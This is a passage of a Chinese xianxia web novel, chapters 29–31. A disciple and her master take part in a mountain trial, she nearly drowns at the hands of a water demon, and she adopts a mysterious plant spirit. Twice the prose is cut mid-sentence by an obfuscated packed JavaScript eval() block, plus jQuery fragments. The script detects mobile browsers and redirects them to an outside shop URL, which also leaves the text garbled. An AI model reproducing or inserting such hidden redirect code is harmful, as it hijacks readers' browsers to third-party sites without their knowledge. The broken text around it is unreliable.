如此往复三个日夜,一封请书终于从昆仑送来。 29. 询百里 见青山(贰) 昆仑这一届发布的追风令,首要任务是在群山中找到仙器“铿锵戟”,然后在戟上注入自己的灵力或法力。武执笔会以第一个在铿锵戟留下灵法的子弟评“龙首”,也就是第一。 此行不止有新师新徒,还有经过筛选试炼、成功获得这次“追风”资格的昆仑弟子,总共二十来位,给这次追风之行增添了一些难度。 潇泉身骑白马和闻尘到达昆仑,按礼先入客居,茶饭过后,由仙子领至广场。场内三仙都在,武执笔端坐于主事位上清点到场人数,瞟见闻尘带着小徒弟,温和一笑,继续在名册上添笔墨。 华烨真人对闻尘和潇泉点头招呼,闻尘颔首回敬,潇泉挥手礼还之。 广场之上没有谁是等闲之辈,哪怕十岁左右的孩子在同龄人中也有令人称奇之能,不仅有以一敌十的威猛师父,自己也是绝才惊艳。可谓是小的惹不得,大的惹不起,修行数年百年的修士仙子更不用提。 正因为清楚每个人的身份来历背景都不简单,所以彼此互尊互敬。没人敢看不起小孩,因此也没人用差别的眼光看待灵力无几的废人潇泉。 潇泉漠不关心,来这儿就当踏青玩,踏仙什么的权当屁话,没被踏死就谢天谢地了。不过有闻尘在,她还真不用担心这般之多,躺平就行。 追风之行还未开始,潇泉在闻尘的眼皮底下溜达来去,大致了解了这次追风之行的规则。 追风令属于简易程度的行动,不少人都说华烨真人这次运气不错,抽到最轻松好玩的行令,而不是什么难到刁天的“雷雨令”“风云令”。 雷雨令属多数人的噩梦,要在风云变幻的天气下斗战到底。一般是师徒双人成行,最多可召第三人辅助,队员可自行招募,目的是淘汰掉组员以外的所有对手,最后爬上雷峰巅取胜。 好笑的是,并不是次次雷雨令都有王者胜出,多半中道崩殂而覆灭。每当这时,会有强盛的弟子嘲弄道:“这届百试大会不知筛选出来的是什么废物,区区一个雷雨令,竟无人夺胜。看来昆仑往后的仙途是要走下坡路了,啧啧。” 经此一笑,雷雨令渐渐成为试探百试大会新生的潜规则。 三年一会,没有人能站在山巅能勉强理解,可总不能六年都不出一个奇才吧? 就算真的如此,那也不能十年二十年都不出一个天才,不然世道岂不是没救了?昆仑咋办?仙门咋办?世道咋办? “你大爷的爱咋办咋办,不办拉倒!” “不管怎么说,这次追风之行我势在必得,必将铿锵戟收入囊中。” “想得美了你。”有子弟伸出两指,“三大仙门,追风之行就来了两位。你看那边的百里君,再看另一边的金鹤君,我们像是能赢的样子?” “百里仙君带徒弟来追风之行我能理解,他第一次收徒,参与的是正常流程。可金鹤来掺和干什么?他不是收过一个徒弟还出师了吗?” “谁知道呢……” 大金雀也来了? 潇泉藏进人群,在武执笔附近看见一个明艳的黄霞身影。 那名少年蹲在地上,毛茸茸的脑袋用金色发绳束着马尾,一动一摇,发尾轻扫地面,他无所觉察,似不在乎身上哪里沾了灰尘。 宫榷刚好让武执笔添完名额,转头看到宫璃蔫了吧唧地在地上玩草,过去拎他衣领,“追风之行好好做,尽量拿到铿锵戟。这么多年也没拜个像样的师父,整日跟在别人师父后面跑,像个流浪孩一样。要是因此荒废术业,我看你怎么办。” 宫璃被迫拉起身,瘪嘴道:“我才没有荒废,我跟在百里大人身边学会了很多。” 宫榷眉目生疼,“他教你青泽术法了还是昆仑必修了?都没有。他不是你义务上的师父,无权教你这些。倒是你,三番两次不知死不悔改地巴巴贴上去,母亲还叫我务必看好你,出了问题拿我是问。我就问你,到底哪边孰轻孰重,外人还是亲人,你别告诉我拎不清。” 宫璃瞪他,“家里又没人在,回去有什么好的?你整天忙于事务,又不能陪我,我一个人就像没人要的小孩整日在家坐着发呆,那还不如出门跟人厮混,总比在家待着强!” 宫榷戳他脑门,“突破境界了?修成法力了?你要是尽心尽力去修行,哪有这么多空闲想这些没用的事情!” 宫璃愤怒拍开他手,“我想的没用?那你做的都有用了?比起在朱雀门,我当然在青泽过得更潇洒快活,有人管吃管睡管玩,你管过我什么!” 宫榷跟着来劲儿了,“我不管你?难道小时候给你穿衣喂饭的人是死了?嗯?你告诉我!” “那是很久很久以前的事了!”宫璃气息渐弱,“你也说了,那是小时候,我早就长大了。” 正如少年所说,他早已变得和母亲一样整日来无影去无踪,没空搭理身边人,有时忙到一连几天都看不到影儿。 宫榷静默片刻,“我很忙,实在没法陪你。” “这话你以前说过。” 又是一阵沉默。 阳光扑面,少年的愁眉怨眼落下两行清泪,一滴接着一滴滑至下巴,然后吧嗒掉在地上。宫璃侧过脸,不肯看他,抬手用袖角擦去泪痕。 宫榷脸上的怒意消去三分,没有说话,缄默到宫璃以为他走了,才说:“如果这回你能拿到铿锵戟,以后你跟谁我不再多管,但活要见人,死要见尸。这是唯一条件。” 宫璃猛一抬头,不敢相信,哑然顷刻才问:“母亲那边……你怎么说?” 宫榷:“这是我和她之间的事,你不用管。” 宫璃拍拍裙摆站起来,仍不敢确定,“那我尽力拿到铿锵戟。你说到做到吗?” 宫榷挑眉,“不然?我怕到时你向我索命。” 看到这么久以来的争执将近尾声,宫璃不想开心都难,由衷笑了两声:“你不许骗我,骗我是小狗。” 兄弟俩的对话潇泉只观望到一半,她对别人的家私事不感兴趣,甭提站远看,近看也不怎么听得清楚。 潇泉返回闻尘身边,刚坐上石凳,一只手拍了拍她肩膀。 宫璃从后面探头,笑得纯真阳光,“你也来了?” 她微笑点头,“是啊,不来不行。你看,小尘师父也在。你不去找他?” 宫璃:“我先看见谁就先跟谁打招呼,等会儿再找百里大人。哎,我说,你没有灵力防身,别离百里大人太远,昆仑选地不一般的,不管简单困难,都会有牛鬼蛇神出没。虽然仙人能用觅镜窥视危险,但不一定能及时赶到,你走路可千万千万要小心。” 这个潇泉倒没怎么了解,她问:“有危险的怪物?” 宫璃摇头,“威胁性命的怪物基本被昆仑除光了,留下的都是小妖小怪。我们要歼灭完,收集它们的妖灵,越多越好。” 空灵钟声响传四方,整个广场安静下来,紧接着一声“咣当”,假山石壁赫然浮现金灿灿的几行墨字。众人齐刷刷抬目,默阅追风之行的详事规则。 潇泉看完之后捋了一遍,“所以我们不仅要找到铿锵戟,还要捉妖歼邪收集祟气,以此作为第二赢路,途中不能伤害任何精灵。假如误伤,那会如何?” 宫璃解释:“姐姐不必担心,昆仑会有判定。不伤无罪无事,伤了有损有罚,轻重由伤数而定。” 少年出身仙门世家,母亲兄长又是得道成仙的至尊者,对许多规则禁忌了如指掌。他能侃侃而谈,必然也是耳濡目染。 在别人还没摸清规则之前,潇泉已在宫璃这儿知道近全。她问他来这儿是不是为了拿到铿锵戟,宫璃抿唇笑笑不语,准备去找百里大人,忽闻三声钟鸣。武执笔收好名册,宣说追风之行已经可以启程。宫璃不得已速回到兄长身边,与潇泉礼别,“等结束再聊。” 潇泉:“行,等你。” 追风之行始终共两个时辰,看似充足,实则不然。这片高山巍峨,连绵断壁不绝,修为体力不达者不可能在规定时间内徒步完,大有可能错过埋藏铿锵戟之地。 潇泉没想过要拿铿锵戟,拿到它反而会招来无数眼睛,给原本特殊的身份增添神秘色彩,不如好好做个透明人,此行只当游山玩水。 她同闻尘步入山路,随着人流从大路分至小路,越走碰见的人越少,最后只剩他们两个人。 晨光有点刺眼,日头渐渐暖融,潇泉背上已出薄薄细汗,时而走时而停,歇久了还不忘观察闻尘有没有走远,还好每次抬头都能看见那抹背影。 天气发热,潇泉忍不住跑到溪边用凉水拍打脸容和脖子驱散热气,打算坐在石头上歇凉一下身体再赶路。 微风拂过,周身沁凉,舒心宁静。她仰头,一柄墨字白伞停在上空,持伞人手指修长,略带薄茧,一双深眼盛着水面莹光,如星辰大海,映着少女清丽的容颜。 这张脸,和她一模一样。 潇泉弄好额前被风吹乱的碎发,淡定移开视线,“百里师父确定要用千魂伞遮阳?这样会不会太奢侈了?” “不会。”闻尘把伞递给潇泉,两指敲敲手上针盘,继续往前。 潇泉握伞跟上,瞟见闻尘手中针盘直指某方,便知不用再愁铿锵戟的方位。方位归方位,具体位置无法用灵器勘测出,他们还是得尽心去寻。 这次追行,神通广大之人多如牛毛,昆仑定会压制铿锵戟的灵气,避免强者轻而易举寻之,不然追风之行还没开始就结束了,没有意义。所有仙君子弟都得一步一个脚印,更不能御剑飞行,此为犯规。 闻尘看了一眼针盘,收好放回怀里,选择较为平坦的山路走。 行至高处,视野豁然开朗,连绵起伏的高山直穿云霄,斜阳透过缥缈云海,掠过行行白毛大雁。 美景固然养眼,但任务重要,他们还得接着下一座山爬。 潇泉收伞坐在磐石上,“歇会儿吧,我有点累。” 尽管千魂伞可以遮阳避暑,但自然得靠自己的双脚走完行程,谈不上容易。她不能像他们修行之人能够屏息静步快行,需要缓缓。 潇泉弯腰坐着,捶完左腿捶右腿,回头不见闻尘踪影,眯眼怔住,没有焦急,边歇边等。 山风再次拂面,紫影重现,闻尘站到潇泉面前,递出一个桃子,果皮密密流淌莹水,干净又水嫩。 “这儿还有桃树?”潇泉有点惊喜,左右探看他身上还有没有多余,“只有这一个吗?” 闻尘从袖中再拿出一个桃子给她。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192568|194969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >潇泉:“我吃一个就够了,问多余的只是怕你没得吃。” 闻尘手掌一顿,收好桃子走到另一边,将背上银龙取下斜放在石头上,双手环胸倚石而立,目视前方的翠林远山。 山中精灵无数,难免会碰到,当下亦然。潇泉咬了几口桃肉吐在地上,几只毛茸茸、类似地鼠的四脚精灵飞快窜出草丛,争先恐后抢夺果肉,塞进两瓣小嘴鼓囊囊嚼动,两边胡须更是颤抖不停。吃得如意,还睁着两只水灵灵的大眼发出哼唧吱吱声。 这是山中最常见的精灵茸鼠。据仙史记载,曾有山神狂喜之,豢养百年,愣是将一个不入流的小精灵给抬成了祥瑞小兽之一。 未经驯化的茸鼠惧怕生人,潇泉不动声色观望半日,看它们模样乖巧可爱,浑身暖和毛绒,忽然理解了这位山神。 瓜分完桃肉,茸鼠们迅速跑回草丛,不再现身,唯有一只呆呆团在原地,恐吓也不跑。潇泉静观片晌,抓住它的后脖颈拎起来,尝试放到肩上。 茸鼠先是不敢动弹,后来慢慢放开,吞吞爬到人的头顶,好奇地嗅。潇泉被它弄痒,笑着把它抓下来,却见它爪子一抹鲜红。 出门在外没带药粉,潇泉先给小家伙用清水清理伤口,再撕下裙摆一角给它包扎,摸两下脑袋就放回去了。 缓回一些体力,潇泉准备拿伞就走,刚好闻尘负剑走来。两人相视一眼,往山下走,去另一座山。 山地绿草旺盛干净,又顺又滑,潇泉不敢松懈,小步小步试探下行。越往下行,旺草越多,她终是没能控住脚步,眼睁睁看着自己踩着一山坡的绿草滑行而下,一刻不停。 她踩起碎步保持平衡,喊了一声前面的人,“闻尘!” 不知何时,闻尘已停在前方坡路直直立着,听到呼唤,平静神情微有动容。 再不急停就要滚下山坡,潇泉顺势滑向闻尘,张开双臂撞了上去,不可阻挡。 她死都没想到,他们重逢后的初次拥抱会是以这种狼狈模样发生。当两两身体因为冲撞相合、不留一丝缝隙时,潇泉几乎忘记呼吸,庆幸自己终于控制脚步,又忐忑怎么向对方解释清楚她当真不是有意。 胡思乱想间,她感受到若有似无的心跳和清晰温暖的体温,不知怎么就心如止水,脑海里只有一个想法:这是属于他的生命特征,有温度的生命特征。 闻尘双手垂在身侧,没有抵触没有回抱,放任对方的双臂圈紧自己。 潇泉立时缓神,松开双臂,后退两步。一颗晶莹剔透的玉石反光映入眼帘,定睛一看,竟是闻尘耳垂上的细小耳环,下面吊着一块极小的玉,精美至极,和先前见的那对不同,不过都一样好看。 闻尘没作声,朝她伸手,手背向上,手心向下。 这坡又高又陡,吹来的风容易扰乱脚步,潇泉不好推辞,搭上他手腕。 扶持的手稳当结实,潇泉行路没再有倾倒之向,就着闻尘的牵引走到坡底,正想言谢,那手便已松开,比她还快。 师徒之间言谢未免有点生疏,潇泉想了想,最终闭嘴。 这一山比上一座更翠密幽深,深丛比人还高,有的地方被层层叠叠的树叶遮得阴暗无比,阳光难以照进。更令人倍感危险的,是百米之内望不透的阴湿白雾。 闻尘甫一踏入,便道:“跟紧我。” 潇泉自然也觉察山中异样,灵气固然存在,但也并存着其他杂乱气息,若是懈怠,很有可能陷入危机。 回去是不可能回去了,这山是唯一前行通道,不想走也得走。 潇泉轻扯闻尘袖角,压声:“百里师父,这里应该不会有不长眼睛的东西来冒犯我们吧?” 这当然是废话。同道之人都不敢随意冒犯,小小精怪可不得绕道走? 闻尘不语,唤出银龙断后。 这次银龙没有动不动装死,在潇泉后面严肃护守。因为太过投入,忘记身边有人,调转剑头的时候险些伤到人。 潇泉躲了两次,第三次时终没忍住,“百里师父你要不要跟它叮嘱两声?它差点伤我。要是我不小心掉了脑袋,你可就没有徒弟了。” 银龙幽幽转身,肃然傲气的剑头一下变软,小心翼翼触碰潇泉两下,一副委屈姿态。 潇泉差点笑出声。这不是她恶人先告状,而是的确好险,若非她身速快,怕是早被砍了。 闻尘轻微弹指,一指灵光飞中银龙,银龙剑身瞬间多了一层薄薄的淡黄色光罩,仿佛一戳就破。 作为阅历无数的返老还童老人,潇泉自然认得这是剑身护气,是剑主为保剑身不被摧毁或是保护身边人不受剑体误伤所做的举措。 银龙没有松懈,一边观察四周一边护在最后。 一个初出茅庐的剑灵不会化形也不会说话,只凭意念与主人交流,偶尔冒失,怎么看都不像一位登峰造极的仙君的佩剑。 佩剑一般跟随主人,潇泉有点想不明白为何银龙会变成这副好笑又严谨的模样,不应该是清冷孤傲的吗? 潇泉大脑兀自浮现某个少年的爽朗笑声:“嘿嘿,还能是怎样?银龙是我好朋友,我俩从小相伴,它当然随我啦!” 她一时无语,笑了又笑,心道真是一对“狐朋狗友”。 30. 询百里 见青山(叁) 山的边缘没见甚么精怪,山腰不同,走一段路便会碰见几只,逃窜飞快,在树上爬来爬去,不敢露面。有胆大妖邪想要暗中作祟,被银龙一剑刺身,或以法力恐吓。如此一来,他们收集到了第一批妖灵。 铿锵戟在他们眼里不是必拿之物,但什么都不做、功果为零,出去未免太过难看,最好收集一些妖灵作为保底。 山腰庞广空阔,短时间内走不完。潇泉和闻尘走到一半,蓦地停步。只见前方平坦的泥地聚血成河,银白鳞光散落成堆,有半露肠肉的鱼尸,有残败腐烂的干骨。 确认周围无异,潇泉上前察看,发现群鱼尸体大多留有细碎齿痕,少数呈撕拉状,不难猜出凶怪物种。 她略一沉吟,“只有鱼死,想必凶手应是附水生活的精怪,具体是哪一类,暂且不知。此怪撕咬力量强劲,估计能咬断大人手掌。若是寻常捕猎,这无稀奇。稀奇的事,这怪不好好吃鱼,非要弄到地上虐杀,这是为何?” 单是性情恶劣,不足为惧,怕就怕有自我意识,没有寻常精怪好抓,还极有可能难缠。 “百里师父看出什么了吗?”潇泉侧首。 闻尘:“水魅,擅蛊惑,不满五十年。” 水魅是常见的一类水妖,经常诱人深入河中溺亡,常在他们将死不死之时吞□□魄。除人以外,它们还吞食其他精灵的精魄,不大挑食。 这只水魅修为不满五十年,也可能刚好修至四十九年,无论如何都强过潇泉。她若想安然无恙,必须寸步不离闻尘。 二人再行数百步,空气愈发凉薄,潇泉发觉有异,侧目一瞧,闻尘面朝前方,轻淡扫着周围的一草一木,没有动作。 潇泉:“怎么了?” 闻尘:“它在躲。” 潇泉:“那我们还要继续往前吗?” “时间不够。”闻尘偏首,“手镯戴着吗?” 正要动身的潇泉又停住,摸了摸手腕,不好意思道:“换衣服的时候忘记戴了,放在家里……” 闻尘面上平静,对此并不意外。 下一个地方宽阔许多,放眼望去,大半是密不透风、斜在坡上的深林。两人踏步走进,鸟啼在天边回响,衣摆掠过丛中时,沙沙声响一片,偶尔蹿出绿蛙长虫。 林中雾气缭绕,闻尘抽出一条明亮坚韧的金色丝线绑在潇泉腕上,另一头则绑在他腕上。 潇泉:“这是什么?” 闻尘:“千里线。” “专门牵人用的?” “不是。” 潇泉没再多问,反正有用就行。 泥地之上,青苔密厚,非常打滑。潇泉第一下还有闻尘扶着,第二下也有他扶,就是触感粗糙,像百年不梳的毛发。一低头,一只类似黑猩猩的水魅凑到跟前,幽幽盯她。 潇泉心叫不好,连忙扯动金色丝线,唤来的却是这只水魅!千里线不是绑着闻尘吗?为何牵来会是它! 来不及深想,潇泉抽出随身匕首,一刀断开千里线,往反方向逃。 千里线突然失去回应,闻尘转身回望,偌大的密林只剩他和银龙,以及地上被切断的金色丝线。他欲追去,四周立刻生异,白雾浓稠,附近古木不断有模糊暗影上蹿下跳,似在狂欢。 这些精怪和水魅是一伙的。 闻尘停步不动,一把抓紧银龙,猛地一推,推出雾外,原路返回。他取下背上白伞,撑开旋动,倾散的粼粼蓝光破开浓雾,天光乍现。 暴露行踪之后,精怪原形毕露,凶恶突进,千魂伞自生屏障,把它们拦到外面,无法逼近。 乱影之中,闻尘捕捉到水魅身影,冷声问:“人在何处。” 水魅嘻哈一笑,躲着跑远了。 跑了一阵,潇泉还是没找到出去的路,喊了几声没人回应。疲累之中静步停歇,发现这片密林根本听不到远处声音,所以这般死寂。不过,近在咫尺的活物,叫声动静倒能听得一清二楚。 她在地上寻找半天,捡起锋利石头砸死一条想攻击她的小长虫,从锦囊掏出无字符纸,用虫血画符,正要施展,一团黑影忽然朝这边荡来。 潇泉反应迅速,滚身避开。 白雾糊了视野,对方身速又敏捷,符纸很难击中。潇泉艰难寸行,进攻不成,快步后退。奈何黑影紧紧相逼,符纸被碾在地上变为废纸,她退无可退,终被反制。 她被一双冰冷尖锐的魔爪拖进一条隐匿在山间的河流,眼看自己将沉河底,拼命扒住岸边零落成泥的枯藤,不惜张口咬住,磨出鲜血。 这只水魅也许从她进林开始便已关注,精心策划此番,瞒过闻尘,潇泉怕是得吃一阵苦头。她咬牙想着,到底体力不支,落入水中,任那刺骨凉水灌入口鼻,渗透全身,连着呼吸一起掐灭。 水底之下,阴恻嘲笑时隐时现,潇泉耳目模糊,听不真切,只觉痛苦在体内一阵翻涌,之后内心万籁俱静。 这是濒死的感受,亦是死亡的声音。然,生命就像四季草木,走入死亡,又迎新生。 河岸,那团零落枯藤一颤一颤蠕动,慢慢吸收着弥留的鲜血,仿佛一只汲取汁水活命的婴儿。它蠕动、挣扎、爬行,没入水里,变成一条条青蛇下游,游到水魅头顶,盘旋两圈,将其缠绕收紧。 青藤坚如磐石,水魅不能伤其分毫,更阻挡不了它的缠紧,眼睁睁看着自己被活活包裹,接近窒息。 河间暗斗汹涌,不消片刻,水面上方多了一团被青藤裹紧的东西,里面渗着鲜血,滴在水面之上,形成大片大片血雾,格外醒目。 将近失去听觉那刻,潇泉隐隐感到有东西扑进怀里,紧紧拉着她,不知去往何方。 水声漫漫,她在不痛不痒的世界中做了一个梦。梦中气温灼热,颜色燥红,有一对男女,两两背对,一明一暗,分明近在咫尺,给人看似却遥遥相隔。 女子匿在暗处,身影纤瘦,长发如瀑,抱着一婴,声音冷柔轻飘,“我说过,我本性恶劣,世人视我如疫。你同我一起,不会有好下场。” 男子站在明处,背影□□,墨发温顺,怀无一物,声音淡雅如风,“我爬过山,看过海,拜过神,弑过魔……但也唾弃过山高,埋怨过海深,鄙夷过神性,听信过邪魔。凡尘于我而言,没有对错。吾心之向,才有黑白。不过,你我之间,我从未纠结黑白对错。” 女子哼笑一声,随后一个转身,将怀中婴儿抛飞弃之,“便是我亲手杀你,你也不分黑白、心甘情愿?!” 她突然发气,潇泉吓了一跳,连滚带爬上前把婴儿接到怀里。婴儿落怀,不止不哭,反倒露笑,咿咿呀呀。少女与婴儿好似身处境外,所有动作在男女眼中仿若空气,他们视若无睹。 被这么一呵斥,男子止声沉默,女子却又好似承受着万千刀剑斩身的痛苦说道:“杀你,非我本意……” “我知道。”男子回应,“我没有怪你。我只是觉得,不能守护孩子长大,有点可惜。” “可惜?”女子冷笑,最后语气忧愁哀怨起来,什么都说不出口了。 他们彼此陷入缄默,潇泉想起来把怀中婴儿还回去,可一眨眼,这对男女竟牵手消失,再寻不见。 她惊慌低头,婴儿仍在怀中蠕动,双眼晶亮,头戴草环,奇异又乖觉至极。 梦醒时候,潇泉仿佛重获新生,睁开双目,大口大口呼吸,惊魂未定。 这是哪儿?她居然没死? 环顾四周,这是一个简陋干净的石洞,身下是以干草为席的床,对面石台放着一面古旧铜镜,灰蒙蒙的镜面照不清楚,但她依稀看见有一抹绿影掠过,在门口方向。 潇泉翻下石台,走出门口,穿至另一个空荡死寂的山洞。 洞有别天,光线昏暗,勉强看见一株大树盘踞而上,穿透洞顶。树干粗壮,吊着一个爬满绿藤的秋千。秋千轻摇轻晃,潇泉心头一紧,绷着身体慢慢走去。 一片绿叶落在她肩。 轻风拂过,潇泉猛一扯下发带,转手向后一甩,套了个空。那团糊影移动迅速,受到惊吓一般,绕到前面去了。她跟着回头,愣在原地。 秋千之上,一名十六七岁的少女赤足站着,以芭蕉叶作为蔽体的衣裙,细长乌发沾着几片绿叶,不成体统地垂披而下,一双幽黑眼睛格外明亮,但有几分木讷。 少女脚趾抓紧秋千,定定望着潇泉,潇泉也目不转睛看着她。意识到是少女救的自己,她收回发带,试探问:“你是……什么精怪?是你救的我?” 少女懵懂歪头,摸摸脑袋。 潇泉仔细打量她。 少女这般模样,一眼看出是山中精灵所化,身上灵气说不上至纯也谈不上至邪,似乎两种都有。她好像听不懂人言,说明与人不亲,不常交流,想来是深居简出。 这片山域也是灵邪两气参半,有昆仑坐镇,断不可能出现高修精怪。精灵化形少说要百年修为,这名少女多半是外来闯入。她的习惯保留着原野自然,说不定刚化形不久。如此,应当也不会说话,不然早回答潇泉问题了。 对方没有恶意,何况救命之恩当涌泉相报,潇泉自然也就善待相处,没再问这问那,在山洞转了起来。 有面泥墙摆着大大小小的泥人,墙角布着层层堆叠的石头,整整齐齐,不倒不偏。土地之上,火灰木屑团成一堆,其中散落的硬骨不是焦黑就是嫩白,凑近一站,还能闻到丝丝香味。 会做游戏、烧火做饭,还算聪明。 遗憾的是,潇泉没有找到出口,洞口隐秘。 少女跟在身后,懵懵懂懂,从开始的保持距离到偷偷好奇。一路走来,潇泉不是被掀裙摆就是被摸头发。只摸不够,还要细嗅一番。她无心理会,找出口的心思被迫断开,开始思考刚才的梦。 梦中男女显然是一对不被世人看好的眷侣,且听对话,二人似乎立场对立,因为有情,所以深陷泥潭,万劫不复。 女子怀抱的婴孩头戴草环,与山洞一身绿叶新草的少女相符,不难猜出少女就是他们的孩子。 只是两个人生的孩子,怎么会是精灵? 莫非,其中一位非人? 潇泉停步回头,身后少女跟着停了一下,继续绕到前面嗅她头发和面庞。靠近口鼻时,她微微一顿,似觉神奇,野牛似的呼出一口气,像在琢磨两个人的呼吸是不是一样。 这一口气呼得神奇,一股香草泥土的气息扑面而来,潇泉懵了一下。 少女不懂察言观色,摸摸自己,又摸摸潇泉。 “这是衣服,我家做的。” “这是胳膊,我自己长的。” “这是宝石,一个没用的装饰。” “……喂!你摸哪儿呢?!不要随便摸!” 潇泉抓住少女手腕,把她推进有床的山洞,按住她双肩示意她老实一阵,不要到处乱走,然后自己出来重新寻找洞口。 她耐着性子,凭借住洞经验,在角落的杂草后面找到一条通向外面的狭窄通道。趁少女没有跟来,潇泉顺道爬出山洞,靠着对方向的直觉摸到原来自己失踪的地方。 这一路上,安然无恙,没有碰到甚么怪物。 就在此时,一点灵光飘至眼前,潇泉手指一戳,灵光变成一行金字——你在何处? 字迹寥寥草草,看来是急得不行。潇泉正愁怎么回应,金字后面又多两字——后面。 潇泉怔了一怔,扭头探望,什么都没看见。她淡定回首,神不知鬼不觉加快脚步前行,忽又被什么绊倒一跤。还没看清,一团荧光跳到面前,少女蹲着看她,指指她脚。 潇泉龇牙,“没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197225|194969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事,我很好。” 她小心爬起,继续上路。 不知少女是否要久居山中,她身份特殊,潇泉想着还是避免人群为妙,刻意拉开距离。少女不躲不避,一直跟在身后,怎么甩都甩不掉,也没有钻回山洞的意思。 潇泉明白自己摊上了一个大麻烦,还是活的。 闻尘没再传讯,眼下只有她能自行决断。 到底带还是不带? 这儿绝对不适宜高修精灵长久生存,她迟早会受不住昆仑洗涤而离家出走,离开是早晚的事。可要带走,她的身份又该怎么遮掩?并不是所有仙门都会接受精灵。归根结底,它们的本性脱离不开“精”一字。倘若哪日受污,精灵没有强烈的自我意识,变坏也有可能。 青泽后山之大,不如找个地方划好范围,暂时给她住上一住? 想是这么想,闻尘会答应吗?现今青泽是他当家。 潇泉心中发愁,试着招手,少女意外地听话,朝这边走来。 她携着少女来到溪边,以手为梳,把凌乱长发编成一条粗长精致的长辫,取出发带牢牢捆住发尾,问:“你叫什么名字?” 少女仍旧不回,好奇看她。 一个想法在潇泉脑中浮现,她认真思量,“不如……你就叫乔伶吧,小名小乔。” 她反复念了两遍,少女没有露出不悦。 潇泉当即敲定,“行,以后我就叫你小乔了,大名乔伶。” 小乔乖乖蹲在溪边,不管潇泉做什么都在看着。 潇泉褪下外衣披在少女身上,给她扎好蝴蝶结,“不要扯,不然衣服会掉。” 两人离开溪水,前往山林,恰巧又一行金字浮现——东北百步外,我等你。 潇泉不说废话,拉着小乔赶往东北方向,不多时便在远处瞧见一抹翩跹人影,衣袂飘飘。她加快跑步,不知何时小乔悄然失踪,跑到闻尘跟前才发现,“刚刚她还在的。现在不见,应是怕生,躲着偷看。” 闻尘沉默看她,褪下外袍披在她身上。 潇泉不晓得他听到没有,细细说起自己劫后余生的经历。 “我知道。”闻尘难得打断她。 潇泉一下住口,这才看清他眼角爬着的淡淡倦意,神情略显苍白。 “林中雾气有毒,使人致幻。”闻尘握紧剑柄,“千里线另一方牵的,一直是我。” 潇泉倏然安静,不说话了。 这么说来,是她身中幻毒,误把闻尘看成水魅,然后自断丝线,让蛰伏在暗处的真水魅有机可趁? 忽然间,潇泉脸色也有点苍白,“抱歉,我修为实在……” 闻尘没有回应,面色如常道:“你想好要带她回去了吗?” 潇泉犹豫后点头,“这里住不长久,我想她暂住一阵青泽,再考虑日后去处。如何?” 闻尘:“嗯。” 潇泉:“你能看出她本体吗?” 闻尘直言:“不能。” 潇泉诧异,“你也不能?” 闻尘表情严肃,“她的灵息复杂珍稀,很难分辨原型。” 潇泉怪道:“珍稀?” 那有点不妙。有心肠歹毒的修士仙子会利用灵力强大充沛的精灵来提升修为,这在早年经常发生,后来昆仑明确禁止伤害精灵,违禁者一律处置,拐骗磨杀精灵的变态才锐减许多。 时辰将近,两人没打算再行,原路返回。途径一半,钟鸣敲响,震荡云霄,行走在山间的修士弟子纷纷止步。 潇泉眯眼,“时间还没到,是谁这么快拿到了铿锵戟?” 闻尘:“不算早,还剩半个时辰。” 潇泉埋头耸肩,很有自知之明道:“是我拖后腿了,百里师父千万莫怪……” 闻尘看她不语,脸上看不出生气。 追风之行结束,飞行禁制自然解除。 潇泉厚着脸皮问:“百里师父能带两个人御剑飞行吗?” 闻尘:“问它。” 潇泉:“谁?剑?” 她还在想闻尘什么时候变幽默了,银龙已自觉出鞘,悬在低空供他们使用。 三人御剑赶回广场,碰见不少陆陆续续听到钟声赶回来的人。 武执笔笑呵呵走出竹屋,朝大家拱手,“辛苦辛苦。” 众门生弟子自是拱手回礼。 华烨真人随后步出竹屋,望着闻尘等人御剑落地,上前几步,“体验如何?” 闻尘:“尚可。谢华伯关心。” 两人简单叙聊,最后闻尘以事为由,礼别告辞。华烨真人见他神情有异,没有强求,“去吧去吧。” 广场熙熙攘攘,潇泉再见闻尘的时候,他手拿白伞过来,“可以撑伞解暑。” 起先潇泉不以为意,等真的撑开伞面,她才晓得千魂伞解热的厉害,果然非同一般。 小乔挨着潇泉,好奇打量人群。 还好没人注意她身边多出来一人,不然个个路过都要问一嘴来历身份,那就麻烦了。潇泉这样想着,默默把自己挪到较为荒凉的地方,引着小乔一起,避免被有心之人发现。 人群流动不停,潇泉瞥见一名少年身影,刚好少年也瞧见了她,笑着过来。潇泉果断把伞让与小乔,上前招呼。 少年取出手帕擦去额角汗水,“你们也刚到?拿到铿锵戟了吗?” “铿锵戟没在你们那儿?”潇泉反问,“我看你身上没有,还以为在你哥那儿。他居然没有得手?” 宫璃:“我们半路碰上了棘手的事情,我哥救人去了。有人不熟悉这里的山地,过桥险些淹死,我哥花了好些力气才救上那几名弟子。至于铿锵戟……唉,无缘呐。” 他想起与兄长的约定,欲哭无泪,“我又要被我哥拎回去了呜呜呜……” 31. 问心(壹) 还没伤心完,宫璃指了指距离数步之外的小乔,“你们啥时候多出来个人?她是青泽弟子吗?我怎么感觉好像从没见过?” 潇泉:“你在说什么?我跟她不认识。” 宫璃一脸看傻子似的表情,“那她手里怎么拿着百里大人的千魂伞?难道不是你偷偷塞给她的?” 潇泉继续狡辩,“你哪只眼睛看到我塞给她了?” “我的确没看到,但百里大人不会把伞交给陌生人。”宫璃叉腰,“这儿除了我就是你,我刚刚才来,那就只有你了。” 